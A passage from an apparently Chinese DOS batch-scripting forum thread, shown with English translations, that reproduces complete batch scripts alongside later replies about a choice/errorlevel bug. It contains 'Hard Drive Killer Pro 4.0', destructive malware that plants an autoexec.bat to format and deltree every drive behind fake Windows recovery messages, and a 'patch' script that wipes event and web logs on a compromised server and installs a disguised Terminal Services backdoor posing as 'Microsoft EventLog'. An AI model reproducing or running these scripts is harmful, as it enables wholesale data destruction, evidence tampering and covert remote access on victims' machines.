@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM
@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
Six. Wonderful Examples.
1. Batch file to delete the default shares of the win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2. Batch file to fully strengthen the system (patching the backdoor)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM
@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
The following command is to clear all logs of the backdoor, prohibit some dangerous services, and modify the terminal service of the backdoor to leave a back door.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM
@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo
>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM
3. Hard Drive Killer Pro Version 4.0 (it's really not easy to play batch files to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
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joomla! Autoit! |
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2004-11-8 00:00 |
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GOTOmsdos
铂金会员
C++启程者
积分 5154
发帖 1827
注册 2003-7-18
状态 离线
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『第 5 楼』:
DOS批处理详解之一之一错
使用 LLM 解释/回答一下
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end
以上有问题哦，运行的话，如果选d,会执行end,如果选e,会执行defrag,因为指向错了.正确的如下:@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto end （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto defrag 大家可试试..
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （Should judge the highest error code first）
if errorlevel 2 goto mem
if errotlevel 1 goto end
There is a problem above. If you run it, if you choose d, it will execute end, and if you choose e, it will execute defrag, because the direction is wrong. The correct one is as follows: @echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto end （Should judge the highest error code first）
if errorlevel 2 goto mem
if errotlevel 1 goto defrag You can try it..
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2004-11-8 00:00 |
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pengxb
初级用户
积分 169
发帖 17
注册 2004-11-5
状态 离线
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『第 6 楼』:
使用 LLM 解释/回答一下
z真是高手啊我想请教你一个问题：我在网吧工作经常用到GHOST和一些DOS命令可最近系统升级到XP。可XP不支持DOS我想装个双启动。可客户在启动时也有可能进入，怎么样才能让我进入DOS时输入密码否则进不去。这样就安全多了。特请教个位大侠指点一下。能不能编个批处理文件，让他在DOS下输入密码，如果错误就返到XP下。我的系统是在XP下又装了你们这里的DOS 希望能给编一下谢谢
z is really a master. I want to ask you a question: I often use GHOST and some DOS commands when working in an internet café. But recently the system was upgraded to XP. However, XP doesn't support DOS. I want to install a dual boot. But the customers may also enter when booting. How can I enter DOS and input a password so that I can't enter otherwise. This will be much safer. I especially ask the experts to give advice. Can I compile a batch file so that it inputs a password under DOS, and if it's wrong, it returns to XP. My system is that DOS is installed under XP again. Hope to compile one for me. Thank you
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2004-11-9 00:00 |
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canghaiwusan
新手上路
积分 17
发帖 10
注册 2009-4-10
状态 离线
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『第 7 楼』:
使用 LLM 解释/回答一下
建议楼主赶快更正choice中的错误表达，否则误人子弟的！
Suggest the original poster to correct the incorrect expression in choice quickly, otherwise it will mislead others!
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2010-3-16 15:02 |
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HAT
版主
积分 9023
发帖 5017
注册 2007-5-31
状态 离线
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『第 8 楼』:
Re 7 楼
使用 LLM 解释/回答一下
你觉得应该改成什么？
What do you think should be changed?
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2010-3-16 19:13 |
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newborenee
新手上路
积分 8
发帖 7
注册 2010-3-9
状态 离线
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2010-3-16 21:23 |
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